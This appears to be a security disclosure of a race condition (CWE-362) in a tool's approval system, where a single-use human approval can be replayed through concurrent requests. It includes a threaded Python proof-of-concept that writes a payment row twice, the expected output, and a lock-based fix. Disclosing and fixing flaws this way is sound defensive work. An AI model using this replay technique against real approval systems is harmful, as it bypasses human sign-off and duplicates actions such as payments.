Component: routes/commands.py — execute_command() (station v0.97).
The defect.
The Approval Airlock guarantees that a human approval is single-use and cannot be replayed (routes/commands.py:17 "A write approval is SINGLE-USE — consumed on first attempt... never replayable" / :239-245).
However, token verification and state transition operate across non-atomic phases on the file-backed pending_approvals.json store:
- Line 224 loads the pending map:
pending_map = _pending(). - Line 246 checks whether the approval was already consumed:
if pend.get("status") == "executed":. - Line 279 performs file I/O for rate limiting:
rl_ok, rl_used, rl_cap = _rate_limit_check(cmd_id). - Lines 304–306 record consumption:
pending_map[idem]["status"] = "executed"; _pending_save(pending_map).
The HTTP server runs on ThreadingMixIn (studio_server.py:7230) and _APPROVE_LOCK (studio_server.py:4091) is never acquired on this path. As the maintainer's comment at line 300 notes, "Loopback single-thread makes this atomic enough for the current threat model" — an assumption that fails under threaded HTTP concurrency. Two concurrent requests presenting the same approval token both pass the status != "executed" check before either writes to disk, firing the underlying mutation twice.
Reproduction (standalone harness).
import os, shutil, tempfile, json, time, threading
try:
import studio_state
import studio_server as srv
from routes import commands, handlers
import approval_airlock as airlock
import command_registry as cmdreg
except ImportError: # Flat / nested workbench layout
from workbench import studio_state
from workbench import studio_server as srv
from workbench.routes import commands, handlers
from workbench import approval_airlock as airlock
from workbench import command_registry as cmdreg
# Isolated workspace
ws = tempfile.mkdtemp(prefix="rc_cmd_race_")
studio_state.WS = ws
os.makedirs(os.path.join(ws, "receipts", "airlock"), exist_ok=True)
os.makedirs(os.path.join(ws, "csv_appends"), exist_ok=True)
# Resolve late bindings from studio_server
for attr in commands._LATE:
if hasattr(srv, attr):
setattr(commands, attr, getattr(srv, attr))
handlers._safe_name = srv._safe_name
handlers.WS = ws
# Target real governed write command (built-in local CSV append)
cmd_id = "local.csv_append"
inputs = {"file": "audit_ledger.csv", "row": {"tx_id": "TX_1001", "amount": "500", "status": "PAID"}}
idem = airlock.idempotency_key(cmd_id, inputs)
ph = airlock.payload_hash(cmd_id, inputs)
# Seed on-disk pending_approvals.json with a single valid approval
pending_file = os.path.join(ws, "pending_approvals.json")
with open(pending_file, "w") as f:
json.dump({
idem: {
"status": "approved",
"approval": {
"approved_payload_hash": ph,
"approved_at": "2026-08-15T22:00:00Z",
"approver": "human_operator"
}
}
}, f)
with open(os.path.join(ws, "integrations.json"), "w") as f:
json.dump({"railcall": {"enabled": True}}, f)
# Concurrency test: 2 threads present the identical approved idempotency key simultaneously
barrier = threading.Barrier(2)
responses = []
def worker(tid):
barrier.wait()
res = commands.execute_command(cmd_id, inputs, intent="Disburse payment")
responses.append(res)
t1, t2 = threading.Thread(target=worker, args=(1,)), threading.Thread(target=worker, args=(2,))
t1.start(); t2.start(); t1.join(); t2.join()
# Inspect tangible side-effect on disk
csv_path = os.path.join(ws, "csv_appends", "audit_ledger.csv")
with open(csv_path) as f:
lines = f.readlines()
print("CSV Header:", lines[0].strip() if len(lines) > 0 else "None")
print("CSV Data Rows Written to Disk:", len(lines) - 1)
for i, line in enumerate(lines[1:], 1):
print(f" Row {i}: {line.strip()}")
print("Returned Statuses:", [r.get("result_status") for r in responses])
shutil.rmtree(ws)
Expected raw output on vulnerable code:
CSV Header: tx_id,amount,status
CSV Data Rows Written to Disk: 2
Row 1: TX_1001,500,PAID
Row 2: TX_1001,500,PAID
Returned Statuses: ['executed', 'executed']
Scope (stated honestly).
- Affects write-governed commands (
mode="write_requires_approval") relying on file-backed pending approvals. - Requires concurrent HTTP invocations before file write completes.
- This is a state-machine serialization defect in one-time approval consumption.
Fix.
Atomically check and claim the pending approval inside _APPROVE_LOCK before dispatching execution:
--- a/routes/commands.py
+++ b/routes/commands.py
@@ -224,6 +224,10 @@
+ with _APPROVE_LOCK:
+ pending_map = _pending()
+ pend = pending_map.get(idem)
+ if pend and pend.get("status") == "executed":
+ return airlock.make_receipt(cmd, inputs, intent, "blocked_by_policy", stamp,
+ note="approval already consumed")
+ if pend:
+ pending_map[idem]["status"] = "executed"
+ pending_map[idem]["consumed_at"] = stamp
+ _pending_save(pending_map)
Classification: CWE-362